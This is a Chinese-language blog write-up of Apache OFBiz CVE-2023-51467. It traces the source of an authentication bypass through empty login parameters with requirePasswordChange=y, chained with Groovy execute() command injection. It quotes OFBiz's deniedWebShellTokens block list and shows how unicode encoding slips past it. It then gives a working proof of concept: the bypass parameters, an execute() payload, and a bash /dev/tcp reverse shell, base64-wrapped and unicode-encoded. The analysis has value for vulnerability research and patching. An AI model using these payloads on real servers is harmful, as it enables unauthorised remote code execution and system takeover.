ofbiz-CVE-2023-51467

ofbiz-CVE-2023-51467

0x01 漏洞介绍

​ ofbiz-18.12.10及以前,鉴权绕过使用execute()方法执行外部命令。

poc

1
"calc".execute()

代码没有对Groovy脚本,execute()方法进行过滤。

最新版修了鉴权绕过,命令执行没有修复。

0x02 命令过滤

在路径framework/security/config/security.properties 里面存在命令黑名单。

1
2
3
4
5
deniedWebShellTokens=java.,beans,freemarker,<script,javascript,<body,body ,<form,<jsp:,<c:out,taglib,<prefix,<%@ page,<?php,exec(,alert(,\
%eval,@eval,eval(,runtime,import,passthru,shell_exec,assert,str_rot13,system,decode,include,page ,\
chmod,mkdir,fopen,fclose,new file,upload,getfilename,download,getoutputstring,readfile,iframe,object,embed,onload,build,\
python,perl ,/perl,ruby ,/ruby,process,function,class,InputStream,to_server,wget ,static,assign,webappPath,\
ifconfig,route,crontab,netstat,uname ,hostname,iptables,whoami,"cmd",*cmd|,+cmd|,=cmd|,localhost,thread,require,gzdeflate

限制也不多,也可以直接使用unicode编码就可以绕过。

0X03 Groovy分析

apache-ofbiz-18.12.11/framework/webtools/webapp/webtools/WEB-INF/controller.xml

412-416行

1
2
3
4
5
<request-map uri="ProgramExport">
<security https="true" auth="true"/>
<response name="success" type="view" value="ProgramExport"/>
<response name="error" type="view" value="ProgramExport"/>
</request-map>

可以看到是view类型

652行写着对应配置位置

1
2
<view-map name="ProgramExport" type="screen" page="component://webtools/widget/EntityScreens.xml#ProgramExport"/>

apache-ofbiz-18.12.11/framework/webtools/widget/EntityScreens.xml

74-96行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<screen name="ProgramExport">
<section>
<actions>
<set field="titleProperty" value="PageTitleEntityExportAll"/>
<set field="tabButtonItem" value="programExport"/>
<script location="component://webtools/groovyScripts/entity/ProgramExport.groovy"/>
</actions>
<widgets>
<decorator-screen name="CommonImportExportDecorator" location="${parameters.mainDecoratorLocation}">
<decorator-section name="body">
<screenlet>
<include-form name="ProgramExport" location="component://webtools/widget/MiscForms.xml"/>
</screenlet>
<screenlet>
<platform-specific>
<html><html-template location="component://webtools/template/entity/ProgramExport.ftl"/></html>
</platform-specific>
</screenlet>
</decorator-section>
</decorator-screen>
</widgets>
</section>
</screen>

可以看见调用了

/webtools/groovyScripts/entity/ProgramExport.groovy

56-73行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    parameters.groovyProgram = groovyProgram
} else {
groovyProgram = parameters.groovyProgram
}

// Add imports for script.
def importCustomizer = new ImportCustomizer()
importCustomizer.addImport("org.apache.ofbiz.entity.GenericValue")
importCustomizer.addImport("org.apache.ofbiz.entity.model.ModelEntity")
def configuration = new CompilerConfiguration()
configuration.addCompilationCustomizers(importCustomizer)

Binding binding = new Binding()
binding.setVariable("delegator", delegator)
binding.setVariable("recordValues", recordValues)

ClassLoader loader = Thread.currentThread().getContextClassLoader()
def shell = new GroovyShell(loader, binding, configuration)

从groovyProgram获取参数然后执行。

org/apache/ofbiz/base/util/GroovyUtil.java

image-20240102025028710

这个回去去上面的配置,然后执行。

0x04 鉴权绕过分析

org/apache/ofbiz/webapp/control/LoginWorker.java#checkLogin

image-20240109173229165

image-20240109173248165

就是不满足if就可以返回success。

1
2
3
if (username == null
|| (password == null && token == null)
|| "error".equals(login(request, response)))

image-20240109173337709

username,password,token可控,可以构造。

看login(request, response)就行

java/org/apache/ofbiz/webapp/control/LoginWorker.java#login()

image-20240109173652511

判断username,password,token是否为null,不为null就是赋予值。

然后判断非空,不为空就赋予值

然后username,password,token非否为空,为空就在数组unpwErrMsgList加入数据。

image-20240109174050423

最重要的就是这里。

unpwErrMsgList只要不为空就进入if。然后requirePasswordChange可控,传入Y就可以返回suceess。

image-20240109174308632

然后不满足”error”.equals(login(request, response)),最后返回checkLogin()函数返回success,绕过鉴权。

最后构造poc。不赋值获取到的是””,不是NULL,””不等于NULL,为false,但使用isNotEmpty()判断时是true。

1
USERNAME=&PASSWORD=&TOKEN=&requirePasswordChange=y

0x05 复现

1
"${'your command'.execute()}"

对open -a calculator

image-20240102021202674

对Reverse Shell进行unicode编码进行测试。

先对Reverse Shell转换成java可以识别的形式

1
/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
1
bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

在使用unicode编码

1
\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u004C\u0032\u004A\u0070\u0062\u0069\u0039\u0069\u0059\u0058\u004E\u006F\u0049\u0043\u0031\u0070\u0049\u0044\u0034\u006D\u0049\u0043\u0039\u006B\u005A\u0058\u0059\u0076\u0064\u0047\u004E\u0077\u004C\u007A\u0045\u0079\u004E\u0079\u0034\u0077\u004C\u006A\u0041\u0075\u004D\u0053\u0038\u0034\u004F\u0044\u0067\u0034\u0049\u0044\u0041\u002B\u004A\u006A\u0045\u003D\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D

成功获取shell

image-20240102020946197

声明

此文章 仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。


ofbiz-CVE-2023-51467
https://unam4.github.io/2024/01/09/ofbiz-CVE-2023-51467/
作者
unam4
发布于
2024年1月9日
许可协议